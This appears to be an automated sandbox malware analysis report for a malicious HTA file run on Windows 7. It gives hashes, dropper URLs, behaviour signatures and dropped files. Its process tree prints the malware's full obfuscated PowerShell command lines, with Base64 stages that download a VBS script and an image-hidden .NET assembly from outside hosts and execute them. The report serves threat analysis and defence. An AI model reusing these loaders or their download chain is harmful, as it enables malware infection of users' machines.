Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    14-12-2024 03:02

General

  • Target

    277bce05fe87b2c2edd725dc6bc75c98a9f3d3fc68159a65471625009fe0e9e7.hta

  • Size

    80KB

  • MD5

    049640aa09b45f8f374ec9fff6e272e5

  • SHA1

    ca0990ea3db24491c5a5ce408b921383b0d74db8

  • SHA256

    277bce05fe87b2c2edd725dc6bc75c98a9f3d3fc68159a65471625009fe0e9e7

  • SHA512

    044cc9e601d6809ae166a99c91656b54fc602d088edba57013f2575ebe2e2dd0200e29335494977479a5ed04d81313d5b4816a7ec419e14df95f773133c9a7cc

  • SSDEEP

    768:tmbUZA+cT/RVeU2Dx6AyZ6LAuAHA/OxlbVxP7iZ5VQSG/wa3s+RP7i2dfwwwAkKD:tk

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\277bce05fe87b2c2edd725dc6bc75c98a9f3d3fc68159a65471625009fe0e9e7.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2516
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2108
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mol6pweb.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2892
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES875A.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC8759.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2816
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2860
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2732

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabA298.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES875A.tmp

    Filesize

    1KB

    MD5

    09c6ab79c4c3ff77c4385a1b3318b92f

    SHA1

    ebfe3f01a8a37f63c6402889e87819d67e9dae21

    SHA256

    dc24fd5d80d06310ed50df2184d7fc919d978f99a403d7697372734173e459c3

    SHA512

    62e2f927fe82540400710592faa7bb1d0276503bec4bea0384075827b62146be3fcf8d6b85f1af7ed1d3d29c08c1320bdca9cf2438b0f4f63fd428a8ce558aea

  • C:\Users\Admin\AppData\Local\Temp\TarA2BA.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\mol6pweb.dll

    Filesize

    3KB

    MD5

    ac2c7ee923449716110233689184baae

    SHA1

    049625e3f4e5fb38b4575bccd8664f11d6f9ba51

    SHA256

    4a04ccbc6f0ff2dfda22e3e94155b9d56fd4a58822612e1c5aeb6836f3dd48ee

    SHA512

    8c99b090f5413d9e8c8192806f3121f7075b5a9dac1f688dd8ce6de3b716af59d1160053fe0c48bbbb7c8bc2efb880080827a394c8f512163e9b3b22866676f5

  • C:\Users\Admin\AppData\Local\Temp\mol6pweb.pdb

    Filesize

    7KB

    MD5

    379ae5c252ecaf0e4ae2e3f2af534c96

    SHA1

    d4ca8485146b21d6b4b8cfa7e9001fa8cdaea7ac

    SHA256

    ca690af691c8bfd0e2341e86c395f923cc1803ccca4d45e642785316b0885544

    SHA512

    cf4ddf533cf7a1c33309f4e9843f40e671020262860bb06ef30d841f0e5315adccc1fe73cf1aab6b511feb0962d6db6b0cb1ddef2bb701088fd2f1ff86e96c20

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    901441b008e0377843040b95a0d473e2

    SHA1

    9b840736620923b9320269bb7944a94d553cc139

    SHA256

    98c29b28b84ba9ad3bac6a64cf84719ba8221548ebaddeacb5fa52ba187f367f

    SHA512

    36b3183d6e51b54e846c6faa78f356f27df4ad7bbfdbc7f65ea417327631d8ca1e61b9332b640c16a91b80a71d295288f809f1bf58b173062c53d41f36a20be9

  • C:\Users\Admin\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS

    Filesize

    150KB

    MD5

    716d2edd830102bbbad2cb0a1a0259f1

    SHA1

    720d2db1e6c8162f89376d06f149237ad8269297

    SHA256

    5a110b1e0b3424a297618863ffa88a2de1f09c266687f93da8e3d7c6dab48341

    SHA512

    edc3624e8071e058981bf47598b654321846a4538d4f64826457108431584021ca901c16278ab74775ef64a377387427a03cd4592b711f624c463bcdb53986ca

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC8759.tmp

    Filesize

    652B

    MD5

    b1fd1ba87e41100b47434073ab9ea99d

    SHA1

    1a92d09364ffa47f469a91e4c357857caceb5863

    SHA256

    1d1166c8ce82cbe82e8beed8a1e95b11e9f6ae3eae5ce1995b2ea1c4fa8f09af

    SHA512

    ff12e5043832f37b549e8d71b79cd7942fee8b2e43fa115c961f58db51dab29e75cd801ac7dbf353b4f33b8e71f04ac4d6fb04b7f0141841b1ba4e01fbe5bf68

  • \??\c:\Users\Admin\AppData\Local\Temp\mol6pweb.0.cs

    Filesize

    484B

    MD5

    48060b02d61c7c41db2a78dd5ba30307

    SHA1

    7064e1187a73995e4b916ac3d594014d9938a13d

    SHA256

    12c2558ddddb21359a0a88e1e7bdd1b2c28cb56435c4f9d9796161a2f60b7be7

    SHA512

    e522f64e687f3ba212703d2b8b5e0320e806359eb16a4fa21d08d5e27e858c82a88aabd01b82a816b96378c15013371451366e1a586e13a132dc7d0d2a86f46c

  • \??\c:\Users\Admin\AppData\Local\Temp\mol6pweb.cmdline

    Filesize

    309B

    MD5

    9d6f720dbd612d03755abfedda12c27a

    SHA1

    4e9c58366c853cfacc0715aa9a87d09dcf20690c

    SHA256

    7762f7c2c069773ced42763dbeb3f8218ed22cec547754832fdb1af8e0bb9701

    SHA512

    5b85d25d7862a1e71f9e686bcbc7cf8a9764ebb68106be0ab5997d53288efe203c1f642a253e1d0957daf38224121d3ce85745d17172fad1db8c91d84e163312